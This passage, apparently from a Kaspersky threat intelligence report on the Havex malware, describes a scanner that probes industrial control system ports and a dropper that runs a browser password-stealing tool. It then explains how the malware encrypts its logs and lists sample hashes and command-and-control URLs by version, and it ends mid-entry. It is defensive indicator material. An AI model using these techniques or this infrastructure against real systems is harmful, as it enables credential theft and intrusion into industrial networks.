List of port numbers hardcoded in the binary: .data:0040CDB0 port_list dd 0AF12h   port 44818, used by Rslinx dd 1F6h   port 502, used by Modbus / Modicon PLC dd 66h   port 102, used by Siemens PLC dd 2BE2h   port 11234, used by Measuresoft ScadaPro 20 TLP: Green For any inquire please contact intelreportskaspersky.com dd 3071h   port 12401, used by 7-Technologies IGSS SCADA Example content of log file: []Start []Get WSADATA []Local: 192.168.56.11 No available ports Host: 192.168.56.1 No available ports Host: 192.168.56.51 No available ports Host: 192.168.56.151 No available ports Host: 192.168.56.201 No available ports Host: 192.168.56.101 No available ports Host: 192.168.56.2 No available ports Host: 192.168.56.152 No available ports Host: 192.168.56.52 (...) Error related strings: [-]Can not get local ip [-]Threads number  Hosts number [-]Can not create socket: [-]Connection error []End PSW dropper module SHA-256: 71e05babc107f5e52f1a4c3ea6261c472d2649c0b179395304c420eaa54e2062 size:  1427968 compiled: Mon, 09 Jul 2012 07:38:11 UTC This module is used to decompress (bzip2) and drop a password dumping tool from resource DLL1 A8 409 to TEMP\bp.exe and run it with the following command: TEMP\bp.exe TEMP\tmp1237.txt Saved log is then copied to TEMP\rand.tmp.yls file.
3rd stage tool: password stealer SHA-256: cb5341eac0476a4c2b64a5fe6b8eb8c5b01b4de747524208c303aba6825aef1d size:     2988544 21 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com compiled: Thu, 02 Feb 2012 09:50:29 UTC This file was dropped and executed by the PSW dropper module (71e05babc107f5e52f1a4c3ea6261 c472d2649c0b179395304c420eaa54e2062).
This is a customized (?)
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Save the recovered password list to HTML/XML/Text/CSV file Easier and faster to use with its enhanced user friendly GUI interface.
Support for local Installation and uninstallation of the software.
Example of file content: 22 TLP: Green For any inquire please contact intelreportskaspersky.com  Browser Password Recovery Report  Password List  Browser:  Firefox Website URL: https://accounts.google.com User Login: mygmail Password: gmailpassword ------------------------------------------------------------------------------------ Browser:  Firefox Website URL: https://www.facebook.com User Login: myfacebookexample.com Password: ihatefacebooksomuch ------------------------------------------------------------------------------------ Browser:  Opera Website URL: https://twitter.com User Login: mytwitter321 Password: mypassword123 ------------------------------------------------------------------------------------ Browser:  Opera Website URL: https://login.yahoo.com User Login: yahaccount Password: yahpwd ------------------------------------------------------------------------------------ ____________________________________________________________________________________ Produced by BrowserPasswordDecryptor from http://securityxploded.com/browser-password- decryptor.php Log Encryption In Modules Each module is capable of creating a log file (.yls) which is encrypted and stored on disk.
The encryption library used by the modules (as well as the most recent versions of Havex) is handled by 23 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com the RSAeuro library.
They recompiled the library several times using different compiler settings and optimization (depending of modules/Havex) which makes fingerprinting the functions a bit tedious.
Once the log has been compressed using bzip2, the modules use the library to generate a random 192 bit 3DES key (168 bit effective) and a 64 bit Initialization Vector.
The function used to do so is R_GenerateBytes which is using the MD5 algorithm previously seeded by the R_RandomCreate function (Also using MD5): Once the key and the IV have been generated, the 3DES algorithm is initialized: 24 TLP: Green For any inquire please contact intelreportskaspersky.com Once 3DES is initialized, the next step is to RSA encrypt the 3DES KEY using the RSAPublicEncrypt function.
It is essentially creating the PKCS 1 padding block around the key and then calling the rsapublicencrypt function.
Example of a layout where 0x42 is the PKCS1 padding block and 0x41 the 3DES key (original values overwritten for clarification purpose): The rsapublicencrypt is basically a wrapper to various big num functions used to compute RSA: 25 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com N parameter in one sample: The E parameter is the standard 0x10001 After the 3DES key is encrypted using RSA, the log files are encrypted.
The final encrypted log file layout looks like the following: (important parameters overwritten for clarity): The YLS file format can be described as follows: SIZE OF RSA Identifier: 0x29 in the figure above RSA ID:  39ee448cf196304cfe9c6b1c2e436.
(
Used by attackers to identify which RSA key was used to encrypt the 3DES Key.
BLOCKSIZE: 128 bytes (24 bytes from 3DES key and 104 from PKCS padding block) ENCRYPTED 3DES KEY : In yellow on the figure above, replaced by C 3DES Initialization Vector: In red on the figure above, replaced by I.
Mandatory to decrypt logs.
3DES ENCRYPTED LOG bytes 26 TLP: Green For any inquire please contact intelreportskaspersky.com Only the attackers can decrypt such a log file.
They can identify which Public RSA Key was used from the identifier, and decrypt the 3DES key using their Private RSA Key.
From there, they can use the 3DES Key and the Initialization Vector which is present in clear form to decrypt the log file.
27 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Havex sample details by version HAVEX version 01 SHA-256: 170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 Size:  226304 Compiled: Wed, 28 Sep 2011 07:36:00 UTC C2 urls: onemillionfiles.com/server_package/system/application/controllers/list.php?id www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id HAVEX version 02 SHA-256: b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e Size:  226304 Compiled: Wed, 28 Sep 2011 02:15:23 UTC SHA-256: fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 Size:  226304 Compiled: Wed, 28 Sep 2011 04:09:41 UTC SHA-256: 6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 Size:  226304 Compiled: Wed, 28 Sep 2011 07:37:30 UTC C2 URLs: (common for all samples above) onemillionfiles.com/server_package/system/application/controllers/list.php?id www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id HAVEX version 0F SHA-256: 7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa Size:  401456 Compiled: Thu, 27 Oct 2011 07:32:55 UTC SHA-256: 4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 Size:  400384 Compiled: Thu, 27 Oct 2011 07:32:55 UTC SHA-256: bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128 Size:  401527 28 TLP: Green For any inquire please contact intelreportskaspersky.com Compiled: Thu, 27 Oct 2011 07:32:55 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id www.intellbet.com/_lib/db_simple/Mysqli.php?id www.activateav.com/wp-includes/pomo/dx.php?id HAVEX version 012 SHA-256: 0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 Size:  400384 Compiled: Thu, 27 Oct 2011 11:38:42 UTC SHA-256: 31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 Size:  401519 Compiled: Thu, 27 Oct 2011 11:38:42 UTC SHA-256: 56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 Size:  401519 Compiled: Thu, 27 Oct 2011 12:02:20 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id www.intellbet.com/_lib/db_simple/Mysqli.php?id www.activateav.com/wp-includes/pomo/dx.php?id HAVEX version 013 SHA-256: 9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033 Size:  401519 Compiled: Thu, 27 Oct 2011 11:41:14 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id www.intellbet.com/_lib/db_simple/Mysqli.php?id www.activateav.com/wp-includes/pomo/dx.php?id HAVEX version 014 SHA-256: 02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e Size:  402543 Compiled: Mon, 07 Nov 2011 09:40:37 UTC SHA-256: d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 Size:  401408 29 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compiled: Mon, 07 Nov 2011 09:40:37 UTC SHA-256: 65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c Size:  401408 Compiled: Mon, 07 Nov 2011 09:40:37 UTC SHA-256: 60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 Size:  401408 Compiled: Mon, 07 Nov 2011 09:40:37 UTC C2 URLs: 7adharat.com/forum/includes/search/index_search.php?id wmr.ueuo.com/advertisers/TEMP/dbaza.php?id www.insigmaus.com/wp-includes/pomo/dx.php?id www.soluciones4web.com/wp-includes/pomo/dx.php?id HAVEX version 017 SHA-256: bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95 Size:  401968 Compiled: Fri, 02 Dec 2011 14:07:10 UTC C2 URLs: hq.mission1701.com/include/plugins/search.php?id iclt.am/style/default/search.php?id joomware.org/modules/mod_search/search.php?id SHA-256: ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 Size:  399494 Compiled: Fri, 02 Dec 2011 14:14:05 UTC SHA-256: 646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 Size:  398532 Compiled: Fri, 02 Dec 2011 14:14:05 UTC C2 URLs: nsourcer.com/modules/menu/menu.php?id www.onehellofaride.com/wp-includes/pomo/dsx.php?id tripstoasia.com/wp-content/plugins/idx.php?id SHA-256: 2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 Size:  400434 Compiled: Sat, 03 Dec 2011 05:47:06 UTC 30 TLP: Green For any inquire please contact intelreportskaspersky.com SHA-256: aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101 Size:  399154 Compiled: Sat, 03 Dec 2011 05:47:06 UTC SHA-256: 837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327 Size:  398918 Compiled: Sat, 03 Dec 2011 05:47:06 UTC SHA-256: abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c Size:  394206 Compiled: Sat, 03 Dec 2011 05:47:06 UTC C2 URLs: serviciosglobal.com/inc/search.php?id theluvsite.com/modules/search/src.php?id HAVEX version 018 SHA-256: a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9 Size:  401968 Compiled: Sat, 03 Dec 2011 05:55:08 UTC C2 URLs: motahariblog.com/core/date/date.php?id www.rscarcare.com/modules/Manufacturers/source.php?id roxsuite.com/modules/mod_search/mod_search.src.php?id SHA-256: ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 Size:  401408 Compiled: Thu, 10 Nov 2011 06:11:50 UTC C2 URLs: productosmiller.com/includes/modules/iddx.php?id sabioq.com/Connections/_notes/dxml.php?id vamcart.com/modules/system/blocks/system.php?id jo.contrasso.com/chief-cooker/tiny_mce/plugins/searchreplace/edit.php?id SHA-256: e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 Size:  402543 Compiled: Wed, 09 Nov 2011 10:51:51 UTC C2 URLs: www.expathiring.com/generator/pages/page-index.php?id ijbeta.com/wp-includes/pomo/dx.php?id goandgetstaffed.com.au/system/modules/miscellaneous/_index.php?id insurancelower.com/tareas/include/_php.php?id HAVEX version 019 31 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com SHA-256: 8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5 Size:  401968 Compiled: Fri, 02 Dec 2011 13:46:14 UTC C2 URLs: pekanin.freevar.com/include/template/isx.php?id randallweil.com/cms/tinymce/examples/access.php?id shwandukani.ueuo.com/modules/mod_search/mod_research.php?id SHA-256: 0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb Size:  400896 Compiled: Fri, 02 Dec 2011 14:05:30 UTC C2 URLs: hq.mission1701.com/include/plugins/search.php?id iclt.am/style/default/search.php?id joomware.org/modules/mod_search/search.php?id SHA-256: e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 Size:  400896 Compiled: Fri, 02 Dec 2011 14:17:40 UTC C2 URLs: nsourcer.com/modules/menu/menu.php?id www.onehellofaride.com/wp-includes/pomo/dsx.php?id tripstoasia.com/wp-content/plugins/idx.php?id HAVEX version 01A SHA-256: f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 Size:  406445 Compiled: Fri, 09 Dec 2011 10:30:42 UTC SHA-256: 698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 Size:  402173 Compiled: Fri, 09 Dec 2011 10:30:42 UTC SHA-256: 022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac Size:  408277 Compiled: Fri, 09 Dec 2011 10:30:42 UTC Notes:  file is corrupted SHA-256: b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068 Size:  402609 Compiled: Fri, 09 Dec 2011 10:30:42 UTC 32 TLP: Green For any inquire please contact intelreportskaspersky.com SHA-256: 4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 Size:  409042 Compiled: Fri, 09 Dec 2011 10:30:42 UTC SHA-256: 7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0 Size:  405517 Compiled: Fri, 09 Dec 2011 10:30:42 UTC C2 URLs: chimesy.com/kurdish/modules/Statistics/source.php?id newdawnkenya.com/modules/mod_search/src.php?id www.cubasitours.com/htmlMimeMail5/ejemplo/source.php?id SHA-256: bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 Size:  409136 Compiled: 2011-12-09 11:47:50 C2 URLs: geointeres.com/engine/modules/source.php?id ojoobo.com/modules/forum/forum-source.php?id www.prosperis.com/cms/sections/source.php?id HAVEX version 01B SHA-256: 8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412 Size:  2031109 Compiled: Tue, 13 Dec 2011 06:14:15 UTC Notes:  Corrupted / nested file SHA-256: 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 Size:  422871 Compiled: Tue, 13 Dec 2011 06:14:15 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id tallhoody.com/wp-includes/pomo/idx.php?id www.prosperis.com/cms/email/mail.php?id HAVEX version 01C SHA-256: a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9 Size:  2031109 Compiled: Fri, 16 Dec 2011 09:05:34 UTC Notes:  Corrupted / nested file 33 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com SHA-256: 0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 Size:  418426 Compiled: Fri, 16 Dec 2011 08:57:55 UTC C2 URLs: geointeres.com/engine/modules/source.php?id ojoobo.com/modules/forum/forum-source.php?id www.prosperis.com/cms/sections/source.php?id SHA-256: 3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 Size:  420874 Compiled: Tue, 20 Dec 2011 07:06:16 UTC C2 URLs: ispacs.com/cna/pages.cn/cna_source.php?id strategyofroulette.com/app/usr/usr_src.php?id www.meortemple.com/wp-includes/pomo/idx.php?id HAVEX version 01D SHA-256: 66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 Size:  2045717 Compiled: Wed, 21 Dec 2011 08:55:59 UTC Notes:  Corrupted / nested file SHA-256: 83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3 Size:  2031109 Compiled: Wed, 21 Dec 2011 08:58:09 UTC Notes:  Corrupted / nested file C2 URLs: giant99.com/site-admin/pages/source.php?id abainternationaltoursandtravel.com/hiking_Safaris/source.php?id www.nahoonservices.com/wp-includes/pomo/idx.php?id SHA-256: 170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 Size:  422960 Compiled: Thu, 29 Dec 2011 07:17:39 UTC Source Url:    ijbeta.com/wp-includes/pomo/ambigos0.jpg SHA-256: 0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf Size:  421947 Compiled: Thu, 29 Dec 2011 07:17:39 UTC C2 URLs: thecafe7.com/modules/mod_newsflash/mod_newsflash_idx.php?id thecafe7.com/modules/mod_whosonline/src.php?id 34 TLP: Green For any inquire please contact intelreportskaspersky.com rchdmtnez.com/modules/mod_search/source.php?id SHA-256: 5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 Size:  417296 Compiled: Tue, 10 Jan 2012 12:27:57 UTC SHA-256: 6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 Size:  422624 Compiled: Tue, 10 Jan 2012 12:27:57 UTC C2 URLs: dominioparayoani.com/wp-includes/pomo/source.php?id www.espadonline.com/forum/includes/block/source.php?id aptguide.3dtour.com/includes/cloudfusion/sc4.class.php?id SHA-256: e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace Size:  401788 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a Size:  421467 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 Size:  409048 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d Size:  415640 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e Size:  418118 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a Size:  422416 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 Size:  422452 35 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 Size:  422117 Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: 59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c Size:  423472 Compiled: Tue, 10 Jan 2012 14:04:49 UTC Source Url:    ijbeta.com/wp-includes/pomo/ambigos0.jpg C2 URLs: ktbits.com/engine/modules/source.php?id rosesci.com/mail/q.source.php?id www.jterps.com/wp-includes/pomo/idx.php?id SHA-256: d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 Size:  420065 Compiled: Tue Jan 10 14:04:49 2012 UTC C2 URLs: ktbits.com/engine/modules/source.php?id rosesci.com/mail/q.source.php?id www.jterps.com/wp-includes/pomo/idx.php?id HAVEX version 01E SHA-256: 4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d Size:  423472 Compiled: Tue, 17 Jan 2012 07:26:25 UTC Source Url:    ijbeta.com/wp-includes/pomo/ambigos0.jpg SHA-256: b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759 Size:  423439 Compiled: Tue, 17 Jan 2012 07:26:25 UTC C2 URLs: arsch-anus.com/engine/modules/source.php?id al-mashkoor.com/php/mail/source.php?id basecamp.100icons.com/ibresource/forumengine/mzh-front-20090600.php?id SHA-256: 24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed Size:  419629 Compiled: Tue, 17 Jan 2012 07:29:35 UTC 36 TLP: Green For any inquire please contact intelreportskaspersky.com SHA-256: e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 Size:  418320 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f Size:  422285 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: 2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 Size:  415684 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: 13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 Size:  418604 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc Size:  417145 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: 85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a Size:  416709 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c Size:  418037 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: 94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093 Size:  415861 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: 59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 Size:  417733 Compiled: Tue, 17 Jan 2012 07:29:35 UTC SHA-256: b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408 Size:  422112 Compiled: Tue, 17 Jan 2012 07:29:35 UTC 37 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com SHA-256: 72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 Size:  421677 Compiled: Tue, 17 Jan 2012 07:29:35 UTC C2 URLs: basecamp.turbomilk.com/turbomilk/contractors2/idx.php?id bbpdx.com/includes/xpath/xpath.src.php?id iqaws.com/catalog/install/source.php?id SHA-256: 49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 Size:  423472 Compiled: Mon, 30 Jan 2012 11:10:17 UTC C2 URLs: familienieuwland.com/Schotland_files/_vti_cnf/index2.php?id serviciosglobal.com/TPV/src.php?id la5taavenida.com/wp-content/themes/citylight-idea-10/citylight-idea-10/idx.php?id SHA-256: 2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 Size:  423472 Compiled: Mon, 27 Feb 2012 09:09:44 UTC Source url: ijbeta.com/wp-includes/pomo/ambigos0.jpg C2 URLs: stalprof.com.ua/includes/domit/src.php?id www.cometothetruth.com/cms/tinymce/examples/src.php?id pornoxxx1.com/engine/ajax/src.php?id HAVEX version 01F SHA-256: 7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001 Size:  423472 Compiled: Tue, 07 Feb 2012 06:22:05 UTC SHA-256: 6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d Size:  446464 Compiled: Tue, 07 Feb 2012 06:22:05 UTC C2 URLs: ispacs.com/cna/pages.cn/cna_source.php?id strategyofroulette.com/app/usr/usr_src.php?id www.meortemple.com/wp-includes/pomo/idx.php?id SHA-256: d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 Size:  421081 38 TLP: Green For any inquire please contact intelreportskaspersky.com Compiled: Tue, 14 Feb 2012 14:34:23 UTC SHA-256: 61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 Size:  415525 Compiled: Tue, 14 Feb 2012 14:34:23 UTC SHA-256: 0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 Size:  423472 Compiled: Tue, 14 Feb 2012 14:34:23 UTC C2 URLs: dayniilecom.com/index_files/iibka300_files/source.php?id red-opus.com/_vti_bin/_vti_aut/source.php?id www.cetlot.com/wp-includes/pomo/idx.php?id SHA-256: 2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 Size:  416221 Compiled: Tue, 14 Feb 2012 14:38:41 UTC C2 URLs: peterbogdanov.com/php/phpmailer/phpdoc/src.php?id www.behrendt-pasewalk.de/blog/wp-content/plugins/source.php?id www.a-knoblach.de/russland-blog/functions/locnav/pfeil_src.php?id SHA-256:  aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee Size:  423472 Compiled: Wed Feb  8 06:53:30 2012 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id tallhoody.com/wp-includes/pomo/idx.php?id www.prosperis.com/cms/email/mail.php?id HAVEX version 020 SHA-256: 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 Size:  422871 Compiled: Tue, 13 Dec 2011 06:14:15 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id tallhoody.com/wp-includes/pomo/idx.php?id www.prosperis.com/cms/email/mail.php?id SHA-256: 2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 Size:  460848 39 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compiled: Mon, 12 Mar 2012 11:54:12 UTC C2 URLs: www.rscarcare.com/modules/Manufacturers/source.php?id rcdm-global.de/plugins/search/content/source.php?id www.eriell.com/services/photo/source.php?id SHA-256: cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 Size:  459824 Compiled: Tue, 01 May 2012 10:54:35 UTC C2 URLs: blog.iclt.am/wp-includes/pomo/src.php?id coma.nsourcer.com/modules/search/frontend/default/src.php?id www.rutravel.com/admin/include/source.php?id HAVEX version 021 SHA-256: edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 Size:  458119 Compiled: Sat, 09 Jun 2012 06:49:43 UTC SHA-256: a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 Size:  460848 Compiled: Sat, 09 Jun 2012 06:49:43 UTC C2 URLs: swissitaly.com/includes/phpmailer/class.pop3.php?id lkgames.com/fr/free-game-action-ball-2/source.php?id artem.sataev.com/blog/wp-includes/pomo/src.php?id HAVEX version 022 SHA-256: 43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b Size:  462848 Compiled: Mon, 17 Sep 2012 09:43:36 UTC C2 URLs: blog.vraert.com/wp-includes/pomo/src.php?id wildlifehc.org/nest/services/source.php?id www.suma-shop.ir/modules/sekeywords/source.php?id www.sdfgdsdf23_sdgdstavolozza.4lf.me/z/j/tiny_mce/plugins/xhtmlxtras/src.
php?id SHA-256: 98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a Size:  463920 Compiled: Tue, 17 Jul 2012 06:35:58 UTC 40 TLP: Green For any inquire please contact intelreportskaspersky.com C2 URLs: lafollettewines.com/includes/phpInputFilter/source.php?id alexvernigor.com/includes/phpmailer/source.php?id www.recomiendalos.com/inc/eml_templates/source.php?id www.jklgdf789dh43.com/7890890778yer/rtrtyr/rty/rty/ery/er.php?id SHA-256: da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 Size:  463920 Compiled: Tue, 28 Aug 2012 13:53:28 UTC C2 URLs: artsepid.com/plugin/contact-form/source.php?id xezri.net/chat/etiraf/source.php?id bukzahid.org.ua/engine/modules/src.php?id www.sdfgdsdf2354235il.com/inc/eml_templates/source.php?id SHA-256: 269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f Size:  463920 Compiled: Mon, 06 Aug 2012 12:42:06 UTC C2 URLs: mohsenmeghdari.com/includes/exifer1_5/source.php?id alpikaclub.com/wp-includes/pomo/idx.php?id naturexperts.com/themes/bluemarine/node.php?id www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ templates/source.php?id SHA-256: 1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 Size:  463920 Compiled: Wed, 22 Aug 2012 09:34:45 UTC C2 URLs: www.snow-lab.com/modules/mod_search/tmpl/search.php?id motorjo.com/z/j/tiny_mce/plugins/media/source.php?id forum.unmondeparfait.org/includes/search/source.php?id www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ templates/source.php?id HAVEX version 024 SHA-256 778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a Size:  452608 Compiled:  2012-12-11 05:51:17 Source URL: www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php SHA-256: 066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 Size:  452608 41 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compiled: Fri, 26 Oct 2012 10:12:03 UTC SHA-256: f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c Size:  452608 Compiled: Fri, 26 Oct 2012 10:12:03 UTC SHA-256: c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad Size:  452608 Compiled: Fri, 26 Oct 2012 10:43:23 UTC SHA-256: c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8 Size:  452608 Compiled: Fri, 26 Oct 2012 12:13:07 UTC SHA-256: 593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 Size:  452608 Compiled: Fri, 26 Oct 2012 12:13:07 UTC) SHA-256: 9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d Size:  452608 Compiled: Fri, 26 Oct 2012 12:13:09 UTC C2 URLs: grafics.kz/plugins/search/source.php?id www.kino24.kz/blog/engine/modules/plugin/source.php?id www.idweb.ru/assets/modules/docmanager/classes/dm_source.php?id SHA-256: 